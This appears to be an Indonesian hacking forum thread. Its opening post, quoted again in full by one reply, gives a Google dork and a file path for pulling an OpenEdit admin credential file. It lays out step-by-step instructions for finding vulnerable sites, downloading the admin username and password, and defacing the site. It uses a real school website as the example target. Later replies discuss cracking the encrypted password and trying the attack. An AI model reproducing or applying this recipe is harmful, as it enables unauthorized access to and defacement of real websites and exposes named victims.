[dvil]

#] Dorknya :

inurl:openedit/authentication/

[#] Exploitnya :

/openedit/files/download/WEB-INF/users/admin.xml


langsung saja gak usah banyak basa-basi lagi ..
kita langsung masuk step by step cara defacenya ..
kalo berhasil deface , Ya Selamat , hahhahaha

========
[#] Step 1
========
- Kita Menuju Google Lalu masukan dork diatas , oh iya silakan explore sendiri dorknya biar lebih mantap
========
[#] Step 2
========
- Pilih salah satu target digoogle tadi
Example : http://www.stpetersprestbury.org.uk
========
[#] Step 3
========
- Masukan Exploitnya Tadi
jadinya kek gini ni :
http://www.stpetersprestbury.org.uk/open.../admin.xml

========
[#] Step 4
========
- nah , kamu akan otomatis mengunduh sebuah file XML
setelah diunduh buka File XML yang unduh kamu tadi

========
[#] Step 5
========
- Didalam File XML tu ada Password Dan Username Admin sono .
Ni contohnya aneh dapet dari target atas tadi




:badpc:paswordnya aduhh...:badpc:

[THJC]

wih, xmlnya kebuka.
itu kan bukan plain textnya om
itu masih dibalut hash/enkripsi

[Junior Riau]

#] Dorknya :

inurl:openedit/authentication/

[#] Exploitnya :

/openedit/files/download/WEB-INF/users/admin.xml


langsung saja gak usah banyak basa-basi lagi ..
kita langsung masuk step by step cara defacenya ..
kalo berhasil deface , Ya Selamat , hahhahaha

========
[#] Step 1
========
- Kita Menuju Google Lalu masukan dork diatas , oh iya silakan explore sendiri dorknya biar lebih mantap
========
[#] Step 2
========
- Pilih salah satu target digoogle tadi
Example : http://www.stpetersprestbury.org.uk
========
[#] Step 3
========
- Masukan Exploitnya Tadi
jadinya kek gini ni :
http://www.stpetersprestbury.org.uk/open.../admin.xml

========
[#] Step 4
========
- nah , kamu akan otomatis mengunduh sebuah file XML
setelah diunduh buka File XML yang unduh kamu tadi

========
[#] Step 5
========
- Didalam File XML tu ada Password Dan Username Admin sono .
Ni contohnya aneh dapet dari target atas tadi




:badpc:paswordnya aduhh...:badpc:

ini mirip xpath injection, ane pernah coba xpath injection dan emang ngejarnya ke .xml file juga hiihi

nice share tapi anda kurangberuntung ^_^ g semua yang berada di xml itu bersih, alias tanpa enkripsi

[Udalah$]

hoho ada enkripsinya ya, itu jenis enkripsinya apa yah? gw ga apal wwowokwokwok

[iKONspirasi]

hoho ada enkripsinya ya, itu jenis enkripsinya apa yah? gw ga apal wwowokwokwok

di gambarnya ada tulisan DES, ane rasa itu enkripsinya, ayo dicoba crack

btw enkripsi beda dengan hash lho ya

[dvil]

bedanya gmn om ikon
saya tidak isa crack macm enkrimsi ato md5

[yanumulti$]

ini passwordnya gimana ngatasinya ya???

[Orphan Walker]

dorknya mantap tapi decryptnya masih binun bejibun....

[blAnk_pag3]

bisa dicoba dulu neh bang

[sector-seven]

wedewww izin coba ya ommmmmmmm